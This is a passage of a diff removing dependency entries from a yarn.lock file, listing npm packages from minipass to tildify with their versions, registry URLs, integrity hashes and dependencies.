-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-2.9.0.tgz#e713762e7d3e32fed803115cf93e04bca9fcc9a6"
-  integrity sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==
-  dependencies:
-    safe-buffer "^5.1.2"
-    yallist "^3.0.0"
-
-minizlib@^1.2.1:
-  version "1.3.3"
-  resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-1.3.3.tgz#2290de96818a34c29551c8a8d301216bd65a861d"
-  integrity sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==
-  dependencies:
-    minipass "^2.9.0"
-
-"mkdirp@>=0.5 0", mkdirp@^0.5.0, mkdirp@^0.5.1:
-  version "0.5.5"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-  integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
-  dependencies:
-    minimist "^1.2.5"
-
-ms@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-  integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==
-
-ms@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
-
-ms@^2.1.1:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
-  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
-
-needle@^2.2.1:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/needle/-/needle-2.6.0.tgz#24dbb55f2509e2324b4a99d61f413982013ccdbe"
-  integrity sha512-KKYdza4heMsEfSWD7VPUIz3zX2XDwOyX2d+geb4vrERZMT5RMU6ujjaD+I5Yr54uZxQ2w6XRTAhHBbSCyovZBg==
-  dependencies:
-    debug "^3.2.6"
-    iconv-lite "^0.4.4"
-    sax "^1.2.4"
-
-negotiator@0.6.2:
-  version "0.6.2"
-  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
-  integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
-
-node-addon-api@^3.0.0:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-3.2.1.tgz#81325e0a2117789c0128dab65e7e38f07ceba161"
-  integrity sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==
-
-node-gyp@3.x:
-  version "3.8.0"
-  resolved "https://registry.yarnpkg.com/node-gyp/-/node-gyp-3.8.0.tgz#540304261c330e80d0d5edce253a68cb3964218c"
-  integrity sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==
-  dependencies:
-    fstream "^1.0.0"
-    glob "^7.0.3"
-    graceful-fs "^4.1.2"
-    mkdirp "^0.5.0"
-    nopt "2 || 3"
-    npmlog "0 || 1 || 2 || 3 || 4"
-    osenv "0"
-    request "^2.87.0"
-    rimraf "2"
-    semver "~5.3.0"
-    tar "^2.0.0"
-    which "1"
-
-node-pre-gyp@^0.11.0:
-  version "0.11.0"
-  resolved "https://registry.yarnpkg.com/node-pre-gyp/-/node-pre-gyp-0.11.0.tgz#db1f33215272f692cd38f03238e3e9b47c5dd054"
-  integrity sha512-TwWAOZb0j7e9eGaf9esRx3ZcLaE5tQ2lvYy1pb5IAaG1a2e2Kv5Lms1Y4hpj+ciXJRofIxxlt5haeQ/2ANeE0Q==
-  dependencies:
-    detect-libc "^1.0.2"
-    mkdirp "^0.5.1"
-    needle "^2.2.1"
-    nopt "^4.0.1"
-    npm-packlist "^1.1.6"
-    npmlog "^4.0.2"
-    rc "^1.2.7"
-    rimraf "^2.6.1"
-    semver "^5.3.0"
-    tar "^4"
-
-"nopt@2 || 3":
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/nopt/-/nopt-3.0.6.tgz#c6465dbf08abcd4db359317f79ac68a646b28ff9"
-  integrity sha1-xkZdvwirzU2zWTF/eaxopkayj/k=
-  dependencies:
-    abbrev "1"
-
-nopt@^4.0.1:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/nopt/-/nopt-4.0.3.tgz#a375cad9d02fd921278d954c2254d5aa57e15e48"
-  integrity sha512-CvaGwVMztSMJLOeXPrez7fyfObdZqNUK1cPAEzLHrTybIua9pMdmmPR5YwtfNftIOMv3DPUhFaxsZMNTQO20Kg==
-  dependencies:
-    abbrev "1"
-    osenv "^0.1.4"
-
-npm-bundled@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/npm-bundled/-/npm-bundled-1.1.2.tgz#944c78789bd739035b70baa2ca5cc32b8d860bc1"
-  integrity sha512-x5DHup0SuyQcmL3s7Rx/YQ8sbw/Hzg0rj48eN0dV7hf5cmQq5PXIeioroH3raV1QC1yh3uTYuMThvEQF3iKgGQ==
-  dependencies:
-    npm-normalize-package-bin "^1.0.1"
-
-npm-normalize-package-bin@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/npm-normalize-package-bin/-/npm-normalize-package-bin-1.0.1.tgz#6e79a41f23fd235c0623218228da7d9c23b8f6e2"
-  integrity sha512-EPfafl6JL5/rU+ot6P3gRSCpPDW5VmIzX959Ob1+ySFUuuYHWHekXpwdUZcKP5C+DS4GEtdJluwBjnsNDl+fSA==
-
-npm-packlist@^1.1.6:
-  version "1.4.8"
-  resolved "https://registry.yarnpkg.com/npm-packlist/-/npm-packlist-1.4.8.tgz#56ee6cc135b9f98ad3d51c1c95da22bbb9b2ef3e"
-  integrity sha512-5+AZgwru5IevF5ZdnFglB5wNlHG1AOOuw28WhUq8/8emhBmLv6jX5by4WJCh7lW0uSYZYS6DXqIsyZVIXRZU9A==
-  dependencies:
-    ignore-walk "^3.0.1"
-    npm-bundled "^1.0.1"
-    npm-normalize-package-bin "^1.0.1"
-
-"npmlog@0 || 1 || 2 || 3 || 4", npmlog@^4.0.2:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-4.1.2.tgz#08a7f2a8bf734604779a9efa4ad5cc717abb954b"
-  integrity sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==
-  dependencies:
-    are-we-there-yet "~1.1.2"
-    console-control-strings "~1.1.0"
-    gauge "~2.7.3"
-    set-blocking "~2.0.0"
-
-number-is-nan@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d"
-  integrity sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=
-
-oauth-sign@~0.9.0:
-  version "0.9.0"
-  resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455"
-  integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==
-
-object-assign@^4, object-assign@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-  integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-on-finished@~2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
-  integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
-  dependencies:
-    ee-first "1.1.1"
-
-on-headers@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
-  integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==
-
-once@^1.3.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
-  dependencies:
-    wrappy "1"
-
-os-homedir@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
-  integrity sha1-/7xJiDNuDoM94MFox+8VISGqf7M=
-
-os-tmpdir@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
-
-osenv@0, osenv@^0.1.4:
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/osenv/-/osenv-0.1.5.tgz#85cdfafaeb28e8677f416e287592b5f3f49ea410"
-  integrity sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==
-  dependencies:
-    os-homedir "^1.0.0"
-    os-tmpdir "^1.0.0"
-
-parseurl@~1.3.3:
-  version "1.3.3"
-  resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
-  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
-
-path-is-absolute@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-parse@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
-  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
-
-path-to-regexp@0.1.7:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-  integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
-
-performance-now@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
-  integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
-
-pg-connection-string@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/pg-connection-string/-/pg-connection-string-2.4.0.tgz#c979922eb47832999a204da5dbe1ebf2341b6a10"
-  integrity sha512-3iBXuv7XKvxeMrIgym7njT+HlZkwZqqGX4Bu9cci8xHZNT+Um1gWKqCsAzcC0d95rcKMU5WBg6YRUcHyV0HZKQ==
-
-process-nextick-args@~2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
-
-proxy-addr@~2.0.5:
-  version "2.0.7"
-  resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
-  integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==
-  dependencies:
-    forwarded "0.2.0"
-    ipaddr.js "1.9.1"
-
-psl@^1.1.28:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
-  integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==
-
-punycode@^2.1.0, punycode@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
-
-qs@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-  integrity sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==
-
-qs@~6.5.2:
-  version "6.5.2"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-  integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
-
-range-parser@~1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
-  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
-
-raw-body@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-  integrity sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==
-  dependencies:
-    bytes "3.1.0"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    unpipe "1.0.0"
-
-rc@^1.2.7:
-  version "1.2.8"
-  resolved "https://registry.yarnpkg.com/rc/-/rc-1.2.8.tgz#cd924bf5200a075b83c188cd6b9e211b7fc0d3ed"
-  integrity sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==
-  dependencies:
-    deep-extend "^0.6.0"
-    ini "~1.3.0"
-    minimist "^1.2.0"
-    strip-json-comments "~2.0.1"
-
-readable-stream@^2.0.6:
-  version "2.3.7"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-rechoir@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.7.0.tgz#32650fd52c21ab252aa5d65b19310441c7e03aca"
-  integrity sha512-ADsDEH2bvbjltXEP+hTIAmeFekTFK0V2BTxMkok6qILyAJEXV0AFfoWcAq4yfll5VdIMd/RVXq0lR+wQi5ZU3Q==
-  dependencies:
-    resolve "^1.9.0"
-
-request@^2.87.0:
-  version "2.88.2"
-  resolved "https://registry.yarnpkg.com/request/-/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3"
-  integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==
-  dependencies:
-    aws-sign2 "~0.7.0"
-    aws4 "^1.8.0"
-    caseless "~0.12.0"
-    combined-stream "~1.0.6"
-    extend "~3.0.2"
-    forever-agent "~0.6.1"
-    form-data "~2.3.2"
-    har-validator "~5.1.3"
-    http-signature "~1.2.0"
-    is-typedarray "~1.0.0"
-    isstream "~0.1.2"
-    json-stringify-safe "~5.0.1"
-    mime-types "~2.1.19"
-    oauth-sign "~0.9.0"
-    performance-now "^2.1.0"
-    qs "~6.5.2"
-    safe-buffer "^5.1.2"
-    tough-cookie "~2.5.0"
-    tunnel-agent "^0.6.0"
-    uuid "^3.3.2"
-
-resolve-from@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
-  integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
-
-resolve@^1.9.0:
-  version "1.20.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
-  integrity sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-rimraf@2, rimraf@^2.6.1:
-  version "2.7.1"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-  integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
-  dependencies:
-    glob "^7.1.3"
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-safe-buffer@^5.0.1, safe-buffer@^5.1.2:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
-
-"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
-
-sax@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
-  integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
-
-semver@^5.3.0:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
-
-semver@~5.3.0:
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.3.0.tgz#9b2ce5d3de02d17c6012ad326aa6b4d0cf54f94f"
-  integrity sha1-myzl094C0XxgEq0yaqa00M9U+U8=
-
-send@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-  integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==
-  dependencies:
-    debug "2.6.9"
-    depd "~1.1.2"
-    destroy "~1.0.4"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    fresh "0.5.2"
-    http-errors "~1.7.2"
-    mime "1.6.0"
-    ms "2.1.1"
-    on-finished "~2.3.0"
-    range-parser "~1.2.1"
-    statuses "~1.5.0"
-
-serve-static@1.14.1:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-  integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==
-  dependencies:
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    parseurl "~1.3.3"
-    send "0.17.1"
-
-set-blocking@~2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
-
-setprototypeof@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-  integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
-
-signal-exit@^3.0.0:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
-  integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
-
-sqlite3@^5.0.2:
-  version "5.0.2"
-  resolved "https://registry.yarnpkg.com/sqlite3/-/sqlite3-5.0.2.tgz#00924adcc001c17686e0a6643b6cbbc2d3965083"
-  integrity sha512-1SdTNo+BVU211Xj1csWa8lV6KM0CtucDwRyA0VHl91wEH1Mgh7RxUpI4rVvG7OhHrzCSGaVyW5g8vKvlrk9DJA==
-  dependencies:
-    node-addon-api "^3.0.0"
-    node-pre-gyp "^0.11.0"
-  optionalDependencies:
-    node-gyp "3.x"
-
-sshpk@^1.7.0:
-  version "1.16.1"
-  resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
-  integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==
-  dependencies:
-    asn1 "~0.2.3"
-    assert-plus "^1.0.0"
-    bcrypt-pbkdf "^1.0.0"
-    dashdash "^1.12.0"
-    ecc-jsbn "~0.1.1"
-    getpass "^0.1.1"
-    jsbn "~0.1.0"
-    safer-buffer "^2.0.2"
-    tweetnacl "~0.14.0"
-
-"statuses@>= 1.5.0 < 2", statuses@~1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
-  integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-string-width@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3"
-  integrity sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=
-  dependencies:
-    code-point-at "^1.0.0"
-    is-fullwidth-code-point "^1.0.0"
-    strip-ansi "^3.0.0"
-
-"string-width@^1.0.2 || 2":
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-2.1.1.tgz#ab93f27a8dc13d28cac815c462143a6d9012ae9e"
-  integrity sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==
-  dependencies:
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^4.0.0"
-
-string_decoder@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
-  dependencies:
-    safe-buffer "~5.1.0"
-
-strip-ansi@^3.0.0, strip-ansi@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-  integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-strip-ansi@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-  integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
-  dependencies:
-    ansi-regex "^3.0.0"
-
-strip-json-comments@~2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
-  integrity sha1-PFMZQukIwml8DsNEhYwobHygpgo=
-
-tar@^2.0.0:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/tar/-/tar-2.2.2.tgz#0ca8848562c7299b8b446ff6a4d60cdbb23edc40"
-  integrity sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==
-  dependencies:
-    block-stream "*"
-    fstream "^1.0.12"
-    inherits "2"
-
-tar@^4:
-  version "4.4.13"
-  resolved "https://registry.yarnpkg.com/tar/-/tar-4.4.13.tgz#43b364bc52888d555298637b10d60790254ab525"
-  integrity sha512-w2VwSrBoHa5BsSyH+KxEqeQBAllHhccyMFVHtGtdMpF4W7IRWfZjFiQceJPChOeTsSDVUpER2T8FA93pr0L+QA==
-  dependencies:
-    chownr "^1.1.1"
-    fs-minipass "^1.2.5"
-    minipass "^2.8.6"
-    minizlib "^1.2.1"
-    mkdirp "^0.5.0"
-    safe-buffer "^5.1.2"
-    yallist "^3.0.3"
-
-tarn@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/tarn/-/tarn-3.0.1.tgz#ebac2c6dbc6977d34d4526e0a7814200386a8aec"
-  integrity sha512-6usSlV9KyHsspvwu2duKH+FMUhqJnAh6J5J/4MITl8s94iSUQTLkJggdiewKv4RyARQccnigV48Z+khiuVZDJw==
-
-tildify@2.0.0:
-  version "2.0.0"
